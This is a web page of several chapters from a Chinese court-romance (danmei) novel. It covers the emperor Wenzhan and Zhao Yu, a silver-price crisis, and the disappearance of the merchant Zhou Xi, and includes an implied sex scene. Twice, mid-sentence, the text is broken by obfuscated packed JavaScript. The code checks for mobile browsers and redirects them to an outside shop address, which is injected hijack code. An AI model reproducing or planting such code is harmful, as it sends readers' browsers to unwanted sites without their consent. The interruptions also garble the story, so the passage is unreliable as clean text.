在冉庄那扇门外,文湛曾经有几次想过,今生彻底放手。 他爱他。 他知道,他对他也有情义。 他们已经拥有了大正宫异常珍稀的温情,他们可以相忘一生,谁又能否定,这也是一种永恒? 只是,…… 无论那些读书人如何妄想,皇帝是上天之子,他终究是一个活生生的人。 他自己只要还有一口气在,就无法阻挡自己的手推开那扇门。 因为。 承怡,……,他就在那里。 …… 赵毓,“我是破瓦罐,我不值钱,可是你不同。当年我知道你来了冉庄,我看见门锁被打开,我知道你在院子中。其实,我犹豫过,真的犹豫过。我知道自己一脚踏进去,就会把你本可以永垂青史的圣名导入万劫不复,可是,……,我还是推开了那扇门。” “后来我想明白了,写历史的不是王侯将相,不是胜利者,其实就是能够书写历史的人,就是那帮子拿着笔杆子的人!咱们大郑的史官比那些街头上写淫|词|艳|曲的穷书生还不如,他们从来不写真正的实事,总是扛着教化的大名按着自己的喜好随意胡编与篡改。今天你符合他的心意,他们捧你是万古无一的圣王,明天你做的事情不符合他们的心意,他们就可以贬你是桀纣,恨不得再踩上一万只脚。” “如果一辈子按照他们那种漂浮不定的心意活着,还有什么意思?” “再说,……” 想到这里,赵毓忽然低头浅笑,“陛下,这个世上,总有一些事情,即使是您,也要承认自己无能为力,并且为之让步的哟。小时候,有一年的冬至,我从御膳房给你偷了点心,送到东宫的时候,却看见你娘也在。当时那么冷,她就让你规规矩矩的站在正殿,听她胡说八道。当时那娘们,……,呃,你娘,那个,……,先皇后,……” 文湛只是看着他。 赵毓抓了抓头发,“我是说,你娘她说的话特别诡异。她说,你一定要登基,因为当上皇帝之后,整个天下都是你。不止这些,还有,百姓,官员,军队,大正宫,甚至帝国王朝都是为了你而存在的。我当时就想,这话太狂妄了,已经狂妄到无知的地步,什么样子的母亲会用这样狂妄无知的话来坑害自己的孩子?不过,后来我才知道,这些话其实不是她一个人的妄念,而是整个大正宫的妄念。幸好,你没有被这种妄念侵蚀。其实,这个世上有很多东西,就是这样存在着,即使我们不喜欢,可它们还是存在着,无法更改,也不用更改。容得下这样的未平事,就是一种修炼。” 文湛忽然说,“我不需要这样的修炼,我一直没有被这种妄念侵蚀,是因为我知道,从小到大,我最想要得到的东西,无论我怎么努力,无论我做了什么,我都无法得到。” “呃,……”赵毓冥思苦想了一下,“不能够吧,……,那是啥?” “我要你爱我。”文湛的双眼直勾勾的看着赵毓,一瞬不瞬,“我只要你爱我,可是,我一直都无法得到。” 赵毓,“……” 文湛,“直到现在。” …… 三年前,冉庄那个小院,夜里。 文湛也是这样看着他。 他拥着他,腰腹紧紧贴在一起。 这么多年了,他们难得在一起,没有暴戾,没有血,没有那些哭的出来与哭不出来的积郁,也没有那些灭不掉的心魔与死亡也消弭不开的恩怨。 他们只是两个人,有心跳,有呼吸,有温情的两个人。 那一夜,其实无法与现在的琴瑟和鸣相提并论。 却同样让人动容。 文湛生涩到有些生硬的地步。 赵毓感觉那个时候的文湛,就在他怀中,由一个干枯的骨架逐渐生出了血肉,随后慢慢丰盈了起来,原本干涸的心从底部流淌出炽热的血液。 …… “你,……”赵毓说话的时候并没有看着他,“你已经得到了。” 早已经得到了。 你心中那个人,爱你,……,也只爱你。 赵毓笑着,“那么,就请换一件未平事来修炼吧,陛下。不如,我们就从如何高傲冷漠的对待我是帝王内宠,而您是赵毓的小白脸这件事情开始吧?” 被吻住嘴唇。 此时,皇帝那薄薄的嘴唇冰冷犹如凛冬,可是,他的亲吻如同烈酒一般,带着灼烧的疼痛,与灭顶的销魂蚀骨! …… 玉熙宫带着浓重的道家的清静无为。 赵毓从来没有想到,他同文湛有一天,可以把这里弄的像焚烧炉一般。 …… 赵毓深深的吸了一口气,手指抓住身下已经被汗水浸湿的被褥。 “文,……,文湛,……” “怎么,不舒服?” “……不,……” 赵毓有些喘不上气,慌乱中,屏住了呼吸,把脑子中破碎的词语连成一个句子,“……被、褥子太潮,等雨停,……,让黄,……,他们晒一下,……” 皇帝,“……” 清晨,文湛从床榻上起身,他的后背尽是纵横交错的抓痕,有一些甚至还微微渗血。 黄棕菖战战兢兢的为他止血上药,最后,屏住呼吸,轻手轻脚伺候文湛更衣。 白昙花静谧的香气充斥在低垂的帷帐之内,赵毓睡的很沉,裹着被子安安静静的,此时,他紧闭的眼睛,尖尖的鼻子,显得那张面孔秀美又纤细,似乎,没有经过任何的风霜,也似乎,还是那个大正宫中最受宠爱的皇子。 文湛看着他,忽然生出一种错觉:似乎,他们十年的分离从来没有发生过;似乎,他也从来没有离开过。 “别叫他,让他多睡一会儿。”文湛吩咐黄枞菖,“我给他的手指涂了一些药,等他醒了,你问问他,手指还疼不疼,还有,以后玉熙宫这边的被褥时常晒一晒。” 黄枞菖欲言又止,最后,却只是低头,“是,奴婢记下来。” 文湛看着他那个样子,“晒过?” 黄枞菖连忙点头,“主子说过要把这里维持的像王爷还住在这里一样,奴婢一直小心伺候着。玉熙宫的被褥都经常晒,王爷昔年爱用的香也熏着。” 文湛点了点头,“那就再用火烤一下,承怡喜欢这样。” 黄枞菖连忙答是。 赵毓不到晌午就醒了,他让黄枞菖备饭,吃完了好到卢沟桥那边去一趟。 “活祖宗,您还能骑马?” 黄枞菖给他盛莲子粥的时候扯着嗓子问了一句,被赵毓用勺子敲了一下脑袋。 昨夜弄的有些过分,今天真正是骑不了马了,坐马车颠簸也受罪。卢沟桥距离禁宫有些遥远,赵毓想了想,决定晚上直接到十三行的钱庄等周熙。 “黄瓜,关于日本那个德川幕府,还有最近二十年东海的倭患什么的,你知道多少?” “不少。” “那就成,你给我弄点东西看看。” “祖宗。”黄枞菖一愣,“咱大郑有祖训,微音殿的东西可不能随便拿出来看。” 赵毓吃饱了,放下勺子,“我不要微音殿的东西,我想让你找人去南苑藏书阁给我弄几张东海、南海,还有辽东那边的堪舆图来。你要是对日本什么的完全不懂,我怕你给我拿错了。” “嗨,……”黄枞菖看着赵毓碗底还有一口米粥,自己拿过去,喝掉了,“吓死我了,只要不动微音殿的东西,其它的,都包在我身上。” 大包大揽的黄枞菖从藏书阁抱回来一箩筐的地图,甚至连几百年前绘制的珊瑚海的海图都拿了过来。 赵毓让他把这些全部在厚厚的地毯上摊开。 黄枞菖,“祖宗,您要辽东的地图,怎么,东瀛倭寇在咱们这里捣乱还不够,这又跑到朝鲜去捣乱了?” 辽东,九州之东,大郑九边重镇之一。 赵毓爬在堪舆图上,手指沿着长白山一路滑动,“这我哪里知道。黄瓜,别在我面前揣着明白装糊涂,你整天在微音殿,知道的肯定比我多。我现在对朝鲜不感兴趣,我想知道的是,辽东这个地方,大约有几路可以通日本。” 黄枞菖,“怎么?” 赵毓,“雍京都能看到印着三叶葵纹的银锭了,距离朝鲜和日本如此近的辽东能没有日本银钱吗?我看看,这几条商路的宽窄。对了,黄瓜,你对于辽东那边的肃慎人了解多少?” 黄枞菖,“肃慎人渔猎为生。” 赵毓,“还有呢?” 黄枞菖,“他们是好猎手,能驯养海东青!兵部有猛禽司,每隔几年就要去辽东肃慎人的部落弄几只回来。我见过那种鸟,不,都不能说它们是鸟,简直就是神物,双翅展开有八、九尺长,传说中十万只神鹰才出一只‘海东青’,稀罕着呢!” “嗯,是挺好的。”赵毓手指在鸭子河与长白山中画了个圈。 黄枞菖,“自从上次出了那种事,猛禽司找不到人去辽东,圣上也没有那么爱打猎,再加上兵部还有几只,养的不错,似乎也能再活很久,所以就没再增添新的猎鹰。” “哦。” 黄枞菖说,“那一年,不知道怎么了,肃慎人把猛禽司的人就地砍碎了,紧接着几个部落居然要反叛,最后虽然被辽东将军剿了,可是咱们的人也死了不少。我到现在都不明白,他们贡了这么多的海东青,咱们又没有亏了他们,怎么就反了呢?” 赵毓,“猛禽司被砍碎喂狗的那个人,是不是姓王?” “似乎是。”黄枞菖点头。 赵毓,“那个人到了鸭子河谷,问肃慎人的头领要女人陪|睡。” “那有啥?”黄枞菖有些意外,“每次猛禽司的人过去,肃慎人都让未出阁的大姑娘伺候,他们不缺女人。” 赵毓,“姓王的自己不想活,他想要睡有夫之妇。” “咦,什么德行?可是,……”黄枞菖呲了呲牙,笑的很是猥琐,“自己老婆让人给,……,也的确不少。只是,我们老家那里还有典妻的传统呢!一大家子没饭吃,就把老婆典当给有点钱的人生孩子,这也没啥。要说,这肃慎人有点意思,他们让大姑娘伺候猛禽司的外差,可是小媳妇就不成,难不成,这嫁了人的婆娘比大姑娘还贵重?” “你懂个屁!”赵毓骂了黄枞菖一句,“肃慎人传统和我们不一样。人家未出阁的姑娘可以有情郎,所以即使伺候猛禽司那帮王八蛋很屈辱,可是对于人家来说,这是可以接受的。但是,肃慎人已经嫁人的女子就是有家有室的人,再要让人家陪,这不等于刨人家祖坟吗?不剁碎了他,还等着一起手拉手煮鱼喝酒?” “啊?还有这种事?” “还有,黄瓜,你们老家典妻这传统,也真是够作孽的。” “祖宗您是金枝玉叶,千娇百宠长大的,我们穷人为了这口吃的,也是真没辙。卖老婆都不算啥,您看看我,这不,我爹娘还有弟弟妹妹饿的是吃了上顿没下顿,实在没辙,把我大妹卖给人家做童养媳,家里用妹妹卖|身的银子找了个同乡的老太监,上下打点,又把我阉了送进宫,家里才渡过荒年。” 赵毓抬头看着他。 黄枞菖笑着说,“现在好了,我妹妹那个老头子死了,婆家也败了,我把她和几个孩子接回来,就在凉坡买了几十亩水浇地,一家人过的挺好。” 赵毓从地图上爬起来,黄枞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728926|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菖看他实在难受,给他揉揉后腰。他笑着问黄枞菖,“司礼监的黄秉笔,能在内阁的条陈上批红,你家人还种地?” “拉倒吧。”黄枞菖呲牙,“那群文臣们在微音殿表面对我笑,其实都是口蜜腹剑,背后不定怎么骂我呢。再说,咱大郑怎么说来,读书人最清贵,我们这种人,天生就是贱种,就算爬的再高,也是贱种。要是我再不知死活,到最后,爹娘弟妹们都保不住。” 不一会儿,文湛到了。 赵毓连他正脸都没看到,一下子被抄起来膝盖,打横抱起来。皇帝身上还穿着缂丝常服,带着外面秋雨的微凉。 “怎么这么早?” 想他。 他在微音殿的时候,想他想的都有些心慌。 只是,年轻的帝王并不想说这些。文湛把他抱回靠在窗子前面的大罗汉床上,自己也坐下,黄枞菖端来了茶水。 文湛,“饿吗?” “嗯,……,有点。” 文湛,“想吃什么?” 赵毓忽然歪了一下头,“你说吃啥就吃啥,我听你的。” 文湛,“听,……,我的?” 这样的话,从赵毓口中说出来,带着一种不可思议的亲近,这同平时听到的那些‘唯请乾纲独断’是决然不同的。 “嗯。”赵毓点点头。“我说过要听你的。” 文湛,“愿意认我是你夫婿了?” 赵毓,“为什么不是娘子?” 文湛在他嘴边轻轻啄了一下,“是夫婿。” 赵毓从官窑的小碟子中挑拣了两块蜜饯塞文湛口中。他看到赵毓的手指刚刚修剪了指甲,磨的很圆润,没有锋利,也没有棱角。 入夜,赵毓到十三行,周熙果然亲自去了卢沟晓月押银车,眼下还没有回来。 他与文湛被让到内堂喝茶。 没想到,却遇到了故人。 一位头发已经花白的老爷子,也在内堂,手边放着一盏清茶。他闭着眼睛,身边是个小戏,正在咿咿呀呀低声唱着《五陵公子》。 “章先生?”赵毓很意外,“居然在雍京又见到了您。” 那位老先生一见赵毓,连忙起身,让身边的小戏退下,说着就是起手施礼,“哎呀,多年未见了,将军一向可好?” 这位老先生说的一口带着吴越乡音的官话,听上去慢条斯理的,有些绵软,还拖着一些尾音,不过,入耳后却极舒服。 “这是哪辈子的老皇历?”赵毓笑着连忙摆手,“早就不是军职了。我现在就是一介草民。” “哎呀,说起来,您还真是行踪成迷,鬼神莫测呦。”老先生有些苦恼,“我都不知道要怎么称呼您了。” “周熙叫我老赵。” “不会。”老先生听着就直摇头,“他不是如此无礼之人。” 赵毓又笑,“果然骗不过章老先生。周先生就是礼多,他如今也是称呼我姓氏的,但是我在老先生面前就不能托大了,听您叫我先生,不太合适。” “合适。”老先生笑眯眯,“您身份贵重,当的起章某称一句先生。” 赵毓微微转身对文湛介绍,“这位是江南十三行泰斗级的账房先生,永嘉章春秋。同时章老先生也是宁淮侯当年的算盘老师。” 十三行的人都是人精。 章春秋只见赵毓将自己介绍给他身后那个人,却未见赵毓将那人介绍给自己,一下子就知道了分寸。他与宁淮侯与赵毓相识快二十年了。即使他并没有一直身在雍京城,也知道赵毓与崔珩这对表兄弟半生的的权势富贵与起落沉浮。 与赵毓交好的人,有一些,即使身在眼前,也不是凡夫俗子可以与之结交的。 就如同眼前人。 “章先生,咱们这一别,有十年没见了。” “对。”章春秋点头,“上一次还是在永嘉,当时您为西北筹军饷,拿着一封永镇山川到十三行,还要现银,我记得我们找了二十几个大账房,称了整整五天的银子,当年整个永嘉城都听到了十三行昼夜不停的算盘珠子声音,也看到连绵十余里的银车。” 赵毓问他,“章先生什么时候到了雍京?” “昨夜。” “您知道最近发生的事吗?” “知道。”章春秋,“雍京银价高出了六成,十三行被挤兑。说到这里,还要感谢赵先生与西北道的倾囊相助,不然,十三行这次的劫难不知道能不能过去。” 赵毓却没有借这个话茬,甚至连客气话也没说,却问,“我心中一直有个疑问,不知道要怎么说。张先生您是行家,您要帮我说道说道。” 章春秋做出洗耳恭听的样子。 赵毓,“雍京银价上涨,我知道后果非常不好,可是,我除了想到户部的秋税要借着高银价再剥老百姓一层皮外,想不出还有别的什么坏处,我感觉自己的脑子被冻住了。” 章春秋听了,笑着点了点桌面,“最近市面上杂银特别多,价格并不低,并且,还在继续上涨中。赵先生,可有感悟?” 闻言,赵毓脑中似乎是冰河炸裂! 他不禁一哆嗦。 因为银价高,那些高纯度的官锭没有人再出手,那些豪族大户囤的白银也会永埋地下,市面上再也没有高纯度的好银子,这些没有经过精炼的杂银就成了人们追捧抢夺的好筹码,或者说,这是唯一的筹码。 如果雍京的银价再居高不下,一块杂银的银锭的价格继续上涨,无可抑制,那么,假以时日,这块杂银的价格终究会超过、甚至是远远超过这块银锭本身的价值。 这是冰雪堆积的高山。 终有一天,冰雪融化,高山崩塌,那时,大地也会碎裂。 赵毓,“我试着把心中想的东西说一说,如果有谬误,请先生更正。” 章春秋点头,“洗耳恭听。” 赵毓,“原本一两的银锭,掺杂了泥沙可重一两半,如今银价高,这一两半的杂银可以做二两白银,甚至三两、四两白银使用。如此这般,自然是掺杂了泥沙越多,银锭越重,也越贵。圣人说过,天下熙熙,皆为利来;天下攘攘,皆为利往。以后向银锭中掺泥沙的只会越来越多,长此以往,在我大郑疆土上流通的,究竟是白银,还是泥沙?” 章春秋点头,手指在桌面上狠狠敲击了一下,“对,就是这样。赵先生心中的不宁,就在此处。多年前,我听宁淮侯说过,先生虽然生在帝王家,却对于货殖之道颇有天分,现在一看,果然如此。既然先生已经知道了这些,可有破解之法?” 赵毓正要说话。 此时,外面一阵脚步声,外面侍立的小厮丫鬟们,还有屋子里面伺候茶水的仆从下人们,似乎整个院子的人都异常恭敬与巴结。 似乎有什么隆重人物降临。 小厮恭敬的挑开门帘。 进来一人。 一身浓重颜色的丝袍,显得身份极贵重。 章春秋见来人赶忙站起来,抬手施礼,虽然斯文,却也是恭恭敬敬的姿势。 “侯爷。” 69. 69 69 来人是崔珩。 赵毓抬头看他,脸色极其难看,苍白中透着青。 “你,……” “周熙怕今夜出事,让我有空就过来一趟。” 崔珩说完,越过赵毓,看到他身后端坐在木椅上安静喝茶的文湛。 大郑人分三六九等,士农工商,商人排在最末等。 所以周熙以领袖江南十三行的威仪在崔珩这个圣上亲自下旨册封的权贵面前类似蝼蚁,即使他们是朋友。不过,这些都是官面上的话,其实他们私交很好,只是再好的私交,十三行之中的人与崔珩相处的时候,总是带着低人一等的意味。 赵毓不在此列。 因为他同崔珩是至亲。 只是,…… 赵毓带来的这位‘朋友’在崔珩面前依旧如此静宜,在章春秋那双久经风霜的眼中,就很有些意思了。 十几年来,文湛未曾在大正宫外见过崔珩,也未曾在君臣言语之外,说过任何私语。 此时两人一见,崔珩到想起来,十几年前在祈王府小沧浪见过文湛。那个时候,文湛还是太子,而不是如今的帝王;而他还是雍京制造局的官商崔碧城,而不是宁淮侯崔珩。 …… 凤化三十九年,秋。 文湛看了一眼他身边的柳丛容,“你先出去,告诉外面人,后退二十步。” “是,殿下。” 崔珩让开门口,他看着柳丛容出去,却没有动,“太子殿下想要和我说什么?” 文湛说,“崔公子是祥贵妃的亲侄子,也是承怡的表哥,论国法,你是外戚,论私情,你也是小王的亲戚,只是天家骨肉不比常人,我们并不熟悉。可是不熟悉归不熟悉,并不是没有情谊在。” 崔珩双手抱肩,斜着靠在门框上,冷笑了一声。 文湛则继续,“崔公子,恕小王无礼,实话说一句,你多年来的所作所为,不能称之为巨商,只不过是追名逐利的市井小人罢了,种种作为,与崔公子本身所秉持的商政大家风范实则大相径庭。” 崔珩手放了下来,脸色也凝重了起来。 文湛细数了崔珩几项罪名。 “崔珩,这几项罪过,任意一件挑拣出来,都是抄家灭族的大罪。如你这般大奸大恶之人,小王尚且与你对坐,平静谈话,你不觉得羞愧吗?” 崔珩死死的盯着他,突然一笑,居然带着点江左十里烟雨,垂柳丝丝,清溪潺潺,桃花遍地的味道。 崔珩,“太子殿下所说的这些,有些是真的,有些却是假的。这其中的波谲云诡,我知道,太子殿下也知道。如今崔某只问殿下,意欲何为?” 文湛淡笑着,端着茶盏,不喝,却是仔细看里面的茶。 这是君山银针,产自岳阳洞庭湖,冲泡后,雀舌含珠,刀丛林里,名贵异常。 片刻之后,文湛又把茶盏放了回去。 他也站了起来,说,“崔公子,小王爱重你的才华,并不忍心相逼若此。小王说句明话,若崔公子为我所用,他日封疆入阁,指日可待。” 同时,文湛不等崔珩说话,他又说,“崔公子一直在江南经商,久不在雍京,不知小王脾气。小王也可一并告知。小王家法甚严,唯独对从小一起长大的长兄承怡宽厚,除此之外,再无例外。” 文湛忽然一笑,艳到极点,带着肃杀,“凡不能为小王所用者,亦不能为他人所用。不知小王言语,崔公子可明白?” 这是文湛第一次,也是唯一一次亲自开口招揽崔珩。 崔珩忽然一声大笑,“哈,太子殿下高看我了。崔某并无如此宏图大志。崔某出身寒门,冬瓜甘薯未必不能了此一生,奈何心有牵挂,不得不筹谋十年,机关算尽。崔某也不求名利双全,只不过想求一清净之所,安身立命而已。只不过,雍京这里不是崔某心仪之所。” 文湛,“哦?承怡这所宅院还不算吗?茅檐草舍,月淡风清,如果愿意,尚可有佳人为伴,这难道不是世外桃源?” 崔珩看了看他,又看了看外面,“有太子殿下在的地方,就不是清净之所。外面刀光剑影,杀气重重,还有妖气,以及争名逐利的腐臭之气。” 文湛淡淡一笑,像极了他手中的茶,淡色的,几乎就是清水的味道。 “那要看人心。这里有水,有花,有田舍,亦有猎场。可渔,可猎,可调素琴,可花前月下,……” “亦可谈笑定乾坤!” …… 微服的皇帝并不想暴露身份,惹一些没有必要的麻烦。 此时,他放下茶盏,安静的在赵毓身后起身,随即,又安静的坐在赵毓下手处的椅子上。 文湛将上面主位的太师椅让给崔珩。 而崔珩则看了看他,并没有坐文湛让出的那个位子,反而是坐到了赵毓另外一只手的手边。 章春秋见天色晚了,就招呼人煮了一些清汤面给大家做宵夜。 临近子时。 外面一阵喧嚣,有一人从外面闯入内花厅。 他们用永嘉话咿咿呀呀的说了很多。 外面忽然响起惊雷,暮秋的暴雨顷刻浇下。 ——十三行银车被劫,周熙生死未卜! 很多人离开,只有一人活着回来,虽然只剩下一口气。这人是十三行年轻的账房,刚出师,此次出门就是跟随周熙接银船,不想碰到这样的祸事。此时,他全身是血,已经昏迷不醒。方才就剩一口气,强撑着逃回雍京,倒在十三行门外。 章春秋命人将其用宽门板抬进门,先用老人参煮了汤灌入吊着命,随后连夜请了大夫进门。 崔珩起身向外走,赵毓跟着。 崔珩站在门边,回头对赵毓说,“你别去了,你晕血。” 赵毓则摇头,“我不晕血。” 崔珩自然知道他不晕血。 只是现在皇帝就在门边上那把椅子上坐着。 赵毓当年在宫中装了二十多年见血就晕倒,骗了文湛不知道多少担心,又成功在禁宫使了多少苦肉计,现在当着皇帝的面才说他自己天生不晕血,实在不太厚道。 只是,…… 此时的文湛安静的犹如院子中那株石楠木,在十三行这种江南锦绣繁华中,隐着清淡的影子。 赵毓扯住崔珩的袖子,“快走!晚了,我怕那人就死了。” 可惜。 没等到那人苏醒,所有人。 崔珩看着眼前这个已经死去的年轻人,而,赵毓,……,一直看着崔珩。 “老崔,周熙他,……” 依旧下落不明。 崔珩一言不发,眉头皱的像是一个死结,似乎永远无法解开。 翌日。 崔太贵妃看着木桌对面的赵毓,沉默着用一根象牙勺子从一个小瓷罐子中掏出两勺子秃黄油,直接和在米饭上。他们手中是前朝的榴花窑变斗彩瓷碗,而碗中则是今年新收的玉碎珍珠。 “玉碎珍珠颜色青翠,味道却比江南的米要肥厚,你再用秃黄油拌饭,不怕吃顶了,以后都不想吃了?” “饿。”赵毓应了一声。他拿着罐子给赵格非,“闺女,来点儿?” 赵格非刚想要接过去,崔太贵妃来了一句,“这秃黄油是你哪个青楼相好给的?” 虽然已经很多年没在民间,但是崔太贵妃对于这道小菜的来历还是门清的。当年赵毓还是皇子的时候,日子过的荒唐,喜欢姑苏的姑娘,也喜欢姑苏的小菜。这秃黄油就是姑苏的姑娘用来招待亲近恩客的私家菜。 当年,赵毓没少吃到人家姑娘专门给他做的秃黄油拌清粥。 如今这一坛子嘛,……,不知道寿春宫门外站着的那一位,是怎么个想法? 听她奶奶这么说,赵格非连忙收手。 赵毓拿着勺子给他闺女舀了一块蟹膏,直接放在她的碗里。 赵格非吃的也香甜。 赵毓则对崔太贵妃摇头,“别乱说,十三行章春秋来雍京了,这是他给我的。” “对了。”崔太贵妃一直不知道该怎么起头,既然她见赵毓提起了十三行,就顺着问,“我听说,昨儿个夜里,十三行出了大事?” 赵毓低头吃饭,含糊了一声,也不知道是个什么答案。 崔太贵妃也不在意,她继续问,“听说,是那个姓周的后生出的事?” 赵毓,“亲娘,有话直说。大事我肯定不告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728927|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诉你,你也别刨根问底,至于小事情嘛,您尽管问,我肯定如实说。” “你们在外面那些事,我不懂,我也不想知道。”崔太贵妃也放下筷子,旁边有小宫女捧着清茶过来,让她漱口,“我就想问问,崔碧城和那个姓周的后生,是怎么回事?” “什么怎么回事?”赵毓说,“他们是多少年的朋友,铁瓷。” “不对吧。”崔太贵妃用了一个眼风,让周围伺候的人都退了开去,这才压低声音问,“我怎么觉得,崔碧城和那个后生不清不楚的。碧子这小子这么多年胡混,不知道好好寻门亲事,我总觉得和那个姓周的后生有关。” 闻言,赵毓放下勺子。 崔太贵妃问他,“你怎么了?” 赵毓,“饱了。” “我这又是哪句话得罪你了?”崔太贵妃撇了撇嘴,“你们一个两个都是这个德性。你还能有个闺女,碧子是彻底的孤家寡人一个,哦,除了他侯府那群不三不四的小妖精们。他身边就是杂人太多,以至于找不到一门好亲。这么多年,他身边就只有十三行的那个姓周的后生。这次,这个后生出了事,碧子还不得赴汤蹈火啊。我是怕,……” “娘,您最近是不是念经念的脑子不太好使了。” “古说八道!小兔崽子,有事没事就编排你老娘!”崔太贵妃用筷子敲了赵毓脑门一下,“我是怕,碧子再出点什么事,我们老崔家就绝户了。我说儿子,我管不了你,可我怎么说也是崔家的女,崔碧城的亲姑姑!我总不能看着碧子这么胡混下去,要是他再有个三长两短的,我对不起我爹,也对不起我哥!” 这些话倒是在理。 崔太贵妃,“儿子,你去劝劝碧子,他听你的。”末了,再加一句,“他只听你的。” “不管。” 毓拒绝的异常快,也异常坚决。只是,赵格非从饭碗中那层厚厚的秃黄油中抬头的时候,看见她亲爹的脸色出奇的难看,似乎冬天被冻糠了的萝卜。 赵毓吃完饭,叮嘱了几句格非: ——最近天道无常,你最好在宫中安心读书,不要乱跑。如果非要乱跑,一定要在崔太贵妃与黄瓜叔叔眼睛能看的到的范围内随便跑跑。 寿春宫外,是太液池。 原本在夏天盛开的一池红莲也开始枯萎,即使没有成为残荷,也相差无多。 文湛就站在水面之前,举着伞,看着远处的濠濮间想,水雾极重、极浓,如同严密的帷幕,笼罩了一切。濠濮间想在一条汉白玉桥的尽头。飞檐斗拱的水榭凉亭。一种悠然世外,清淡无为的境地。庙堂即是山林,山林即是庙堂。 “怎么站在这里?”赵毓撑着一把油纸伞,有些破洞,以至于他的头发有些潮。 文湛伸手将那把伞拿开,随后,把自己的伞撑在赵毓的头顶,他自己的衣袍则露在外面,不一会儿,雨丝也将其打湿。 “太贵妃的早饭可和你的胃口?” “没吃什么,就用秃黄油拌了米饭。我娘叫我过来吃饭,也不是真正为了一口吃的,她有别的事。” 文湛并没有接话。 赵毓则说,“不是我的事,是老崔的事。” “宁淮侯?”文湛有些意外。 “嗯。”赵毓点头,“我娘忽然想起来老崔是个老光棍,她忽然觉得自己对不起她亲爹,也对不起老崔的亲爹。” 文湛的手指拧住了伞柄,抿了抿嘴,最终,一言不发。 赵毓低声说,“谢谢。” “谢我什么?”文湛微微笑了一下。 赵毓,“谢你没有为了显示君主的恩威而牛不喝水强摁头,在他身边塞一个他不想要的人。老崔这个人性子野,可是,他这个人如果相处久了却是个极好的人,至情至性。你以重臣之礼对他,他一定也会以相同的忠心回报。” “虽然宁淮侯是重臣,只是,在朝堂上、在青史上,他也算是个外戚,……”文湛忽然说,“既然是亲戚,自然也希望他过的好。我倒是私心希望他赶紧选个名门闺秀成亲,成了家,有了孩子,他的心中安定下来了,不会整日总是,……” 文湛的声音越来越低,最后,淹没在雨水浇在太液池红莲的声声涟漪中。 70. 70 70 “侯爷,如果这次我不能把白银带回雍京,请您拿着这封书信,派人快马到太仓。那里有我周家存银三百万两,不是十三行,是我周熙的白银。您同赵毓赵先生是骨肉兄弟,一定可以把白银安安稳稳的运到雍京,他的手中。” 一天前,周熙亲自到宁淮侯府,说了这些话。 当时,崔珩满心尽是尹徵、大长老与西疆残余的事情,他听到周熙这么说,只当他是忧心过重。 如今看来,…… 周熙,…… 永嘉,周熙。 二十年前,江左永嘉。 那一年,崔珩,也许应该是崔碧城,仅仅十七岁。 夜深了,雨下的愈来愈大。 崔碧城把他表弟皇长子承怡写来的信笺贴着胸膛放好,拿着竹筷子刚要吃包子,听见外面有脚步声。即使隔着淋漓细雨,他依然能听见那种轻微的脚步声。外面进来一个少年,身上穿着夜里能看到隐隐流光的软缎衣袍,头发扎起,像书房中最严谨的学生。 那少年像是和周围的人都认识,或者说周围的人都认得他,却都不敢在他面前说话,只是掌柜的过来,手中握着一个崭新的松江布巾把一张空桌子好好的擦了擦,也不问他,就摆上了一碟肴肉,一碟汤包。 然后那个少年从怀中掏出一个纸包,里面是茶叶,掌柜的用热开水把茶叶冲泡好,顿时,一股飘渺的香气充满了这个小小的茶棚。 ——明前狮峰龙井。 崔碧城不自觉的,深深的吸了一大口! 这东西可是稀罕玩意,只除了浙江这边的封疆大吏还能捞到几斤正宗的明前龙井,剩下的,不是进了大内,就是到了司礼监那帮子大太监手中,等闲的人捧着银子也买不到。 崔碧城他自己在东宫读书的时候,跟着老师阁揆杜皬蹭过几口明前茶,现在回味起来还是满口留香,如今只能闻香佐餐了。想着,想着,他不自觉的就咽了几口唾沫。 此时,面前伸过来一只手,一看就知道是一只拿惯了毛笔的手。 然后,这只手推过来一盏茶。 明前茶。 晶莹碧透,颜色却很清冽,绝不混沌,就像永嘉水土养育的人,外表缠绵中带着硬气。 崔碧城抬头,看着对面坐着的少年,那个少年也看着他。 少年的皮肤很白很细,眼睛黑且亮,更要命的是,离得近了,他有一种让人昏迷的气味,像暗藏在烟波飘渺中的香木,让他想起在雍京中的某个人,那个人也是这样,身上的衣袍尽是名贵白昙花的气息。 少年微微抬头,用眼角斜睨着崔碧城,“怎么,不敢喝?”永嘉的口音,跟水一样,清澈缠绵。 “不是。”崔碧城赶紧摇头,“无功不受禄。” 说归说,他到底是抵挡不了明前茶的香气,双手端过茶盏,结结实实的喝了一口。 然后道谢。 少年单手支撑着桌面,身子正面对着外面的雨帘,嘴唇边慢慢浮上一种笑,像落叶在水面上沾染上的一波又一波的涟漪。 他对崔碧城说话,却并没有看着他。 “今夜应该喝酒的,不过茶也可。能遇到陌生人跟我一起喝一杯,也算一大幸事。” “崔碧城。”崔碧城忽然说。 “什么?”少年一直在想自己的事,乍然听见崔碧城说话,并没有听清楚,“你说什么?” “我叫崔碧城。” 少年愣了一下,微微恍然,“永嘉,周熙。” 江南巨富永嘉周家的二公子。 周熙听着下人告诉自己这些避人耳目的东西,不在意的挑眉。 